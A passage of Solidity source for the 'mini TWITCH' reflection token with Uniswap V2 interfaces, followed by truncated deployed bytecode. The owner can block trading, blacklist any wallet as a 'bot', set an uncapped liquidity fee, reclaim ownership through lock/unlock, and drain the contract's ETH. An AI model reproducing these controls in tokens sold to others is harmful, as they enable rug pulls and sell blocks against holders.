function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAirdrop {
function airdrop(address recipient, uint256 amount) external;
}
contract miniTWITCH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "mini TWITCH";
string private _symbol = "TWITCHY";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public marketingFeePercent = 90;
uint256 public _liquidityFee = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 200000 * 10**9;
uint256 public _maxWalletSize = 200000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingFeePercent(uint256 fee) public onlyOwner {
marketingFeePercent = fee;
}
function setMarketingWallet(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee < 10, "Tax fee cannot be more than 10%");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function _setMaxWalletSizePercent(uint256 maxWalletSize)
external
onlyOwner
{
_maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3);
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > 1500000, "Max Tx Amount cannot be less than 69 Million");
_maxTxAmount = maxTxAmount * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 1500000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if (takeFee) {
if (to != uniswapV2Pair) {
require(
amount + balanceOf(to) <= _maxWalletSize,
"Recipient exceeds max wallet size."
);
}
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | 0x6080604052600436106103545760003560e01c806360d48489116101c6578063a6334231116100f7578063d4a3883f11610095578063dd62ed3e1161006f578063dd62ed3e146109dc578063ea2f0b3714610a22578063ec28438a14610a42578063f2fde38b14610a6257600080fd5b8063d4a3883f14610986578063da6fa55c146109a6578063dd467064146109bc57600080fd5b8063af2ce614116100d1578063af2ce6141461091b578063b6c523241461093b578063c49b9a8014610950578063d12a76881461097057600080fd5b8063a6334231146108d1578063a69df4b5146108e6578063a9059cbb146108fb57600080fd5b806388f82020116101645780638ee88c531161013e5780638ee88c53146108665780638f9a55c01461088657806395d89b411461089c578063a457c2d7146108b157600080fd5b806388f82020146107ef5780638ba4cc3c146108285780638da5cb5b1461084857600080fd5b8063715018a6116101a0578063715018a61461078457806375f0a87414610799578063764d72bf146107b95780637d1db4a5146107d957600080fd5b806360d48489146107155780636bc87c3a1461074e57806370a082311461076457600080fd5b80633685d419116102a0578063457c194c1161023e5780634a74bb02116102185780634a74bb021461067d57806352390c021461069c5780635342acb4146106bc5780635d098b38146106f557600080fd5b8063457c194c1461061457806348c54b9d1461063457806349bd5a5e1461064957600080fd5b80633b124fe71161027a5780633b124fe71461059e5780633bd5d173146105b4578063437823ec146105d45780634549b039146105f457600080fd5b80633685d4191461053e578063395093511461055e5780633ae7dc201461057e57600080fd5b806318160ddd1161030d5780632a360631116102e75780632a360631146104bd5780632d838119146104dd5780632f05205c146104fd578063313ce5671461051c57600080fd5b806318160ddd1461046857806323b872dd1461047d57806329e04b4a1461049d57600080fd5b80630305caff14610360578063061c82d01461038257806306fdde03146103a2578063095ea7b3146103cd57806313114a9d146103fd5780631694505e1461041c57600080fd5b3661035b57005b600080fd5b34801561036c57600080fd5b5061038061037b366004612f06565b610a82565b005b34801561038e57600080fd5b5061038061039d366004612f23565b610ad6565b3480156103ae57600080fd5b506103b7610b55565b6040516103c49190612f3c565b60405180910390f35b3480156103d957600080fd5b506103ed6103e8366004612f91565b610be7565b60405190151581526020016103c4565b34801561040957600080fd5b50600d545b6040519081526020016103c4565b34801561042857600080fd5b506104507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103c4565b34801561047457600080fd5b50600b5461040e565b34801561048957600080fd5b506103ed610498366004612fbd565b610bfe565b3480156104a957600080fd5b506103806104b8366004612f23565b610c67565b3480156104c957600080fd5b506103806104d8366004612f06565b610d14565b3480156104e957600080fd5b5061040e6104f8366004612f23565b610d62565b34801561050957600080fd5b50600a546103ed90610100900460ff1681565b34801561052857600080fd5b5060115460405160ff90911681526020016103c4565b34801561054a57600080fd5b50610380610559366004612f06565b610de6565b34801561056a57600080fd5b506103ed610579366004612f91565b610f9d565b34801561058a57600080fd5b50610380610599366004612ffe565b610fd3565b3480156105aa57600080fd5b5061040e60125481565b3480156105c057600080fd5b506103806105cf366004612f23565b611101565b3480156105e057600080fd5b506103806105ef366004612f06565b6111eb565b34801561060057600080fd5b5061040e61060f366004613045565b611239565b34801561062057600080fd5b5061038061062f366004612f23565b6112c6565b34801561064057600080fd5b506103806112f5565b34801561065557600080fd5b506104507f000000000000000000000000ade15b2fe7904d8645845c9dd8036a7526600a6d81565b34801561068957600080fd5b506017546103ed90610100900460ff1681565b3480156106a857600080fd5b506103806106b7366004612f06565b61135b565b3480156106c857600080fd5b506103ed6106d7366004612f06565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561070157600080fd5b50610380610710366004612f06565b6114ae565b34801561072157600080fd5b506103ed610730366004612f06565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561075a57600080fd5b5061040e60155481565b34801561077057600080fd5b5061040e61077f366004612f06565b6114fa565b34801561079057600080fd5b50610380611559565b3480156107a557600080fd5b50600e54610450906001600160a01b031681565b3480156107c557600080fd5b506103806107d4366004612f06565b6115bb565b3480156107e557600080fd5b5061040e60185481565b3480156107fb57600080fd5b506103ed61080a366004612f06565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561083457600080fd5b50610380610843366004612f91565b61161a565b34801561085457600080fd5b506000546001600160a01b0316610450565b34801561087257600080fd5b50610380610881366004612f23565b611675565b34801561089257600080fd5b5061040e601a5481565b3480156108a857600080fd5b506103b76116a4565b3480156108bd57600080fd5b506103ed6108cc366004612f91565b6116b3565b3480156108dd57600080fd5b50610380611702565b3480156108f257600080fd5b5061038061173d565b34801561090757600080fd5b506103ed610916366004612f91565b611843565b34801561092757600080fd5b50610380610936366004612f23565b611850565b34801561094757600080fd5b5060025461040e565b34801561095c57600080fd5b5061038061096b36600461306a565b6118a1565b34801561097c57600080fd5b5061040e60195481565b34801561099257600080fd5b506103806109a13660046130d3565b61191f565b3480156109b257600080fd5b5061040e60145481565b3480156109c857600080fd5b506103806109d7366004612f23565b611a12565b3480156109e857600080fd5b5061040e6109f7366004612ffe565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b348015610a2e57600080fd5b50610380610a3d366004612f06565b611a97565b348015610a4e57600080fd5b50610380610a5d366004612f23565b611ae2565b348015610a6e57600080fd5b50610380610a7d366004612f06565b611b87565b6000546001600160a01b03163314610ab55760405162461bcd60e51b8152600401610aac9061313f565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b03163314610b005760405162461bcd60e51b8152600401610aac9061313f565b600a8110610b505760405162461bcd60e51b815260206004820152601f60248201527f546178206665652063616e6e6f74206265206d6f7265207468616e20313025006044820152606401610aac565b601255565b6060600f8054610b6490613174565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9090613174565b8015610bdd5780601f10610bb257610100808354040283529160200191610bdd565b820191906000526020600020905b815481529060010190602001808311610bc057829003601f168201915b5050505050905090565b6000610bf4338484611c5f565b5060015b92915050565b6000610c0b848484611d83565b610c5d8433610c588560405180606001604052806028815260200161336f602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906120e2565b611c5f565b5060019392505050565b6000546001600160a01b03163314610c915760405162461bcd60e51b8152600401610aac9061313f565b6216e3608111610d005760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b7101b1c9026b4b63634b7b760611b6064820152608401610aac565b610d0e81633b9aca006131c5565b60195550565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b8152600401610aac9061313f565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610dc95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610aac565b6000610dd361211c565b9050610ddf838261213f565b9392505050565b6000546001600160a01b03163314610e105760405162461bcd60e51b8152600401610aac9061313f565b6001600160a01b03811660009081526007602052604090205460ff16610e785760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610aac565b60005b600854811015610f9957816001600160a01b031660088281548110610ea257610ea26131e4565b6000918252602090912001546001600160a01b03161415610f875760088054610ecd906001906131fa565b81548110610edd57610edd6131e4565b600091825260209091200154600880546001600160a01b039092169183908110610f0957610f096131e4565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610f6157610f61613211565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610f9181613227565b915050610e7b565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610bf4918590610c589086612181565b6000546001600160a01b03163314610ffd5760405162461bcd60e51b8152600401610aac9061313f565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b15801561104657600080fd5b505afa15801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e9190613242565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156110c457600080fd5b505af11580156110d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fc919061325b565b505050565b3360008181526007602052604090205460ff16156111765760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610aac565b6000611181836121e0565b505050506001600160a01b0384166000908152600360205260409020549192506111ad9190508261222f565b6001600160a01b038316600090815260036020526040902055600c546111d3908261222f565b600c55600d546111e39084612181565b600d55505050565b6000546001600160a01b031633146112155760405162461bcd60e51b8152600401610aac9061313f565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b5483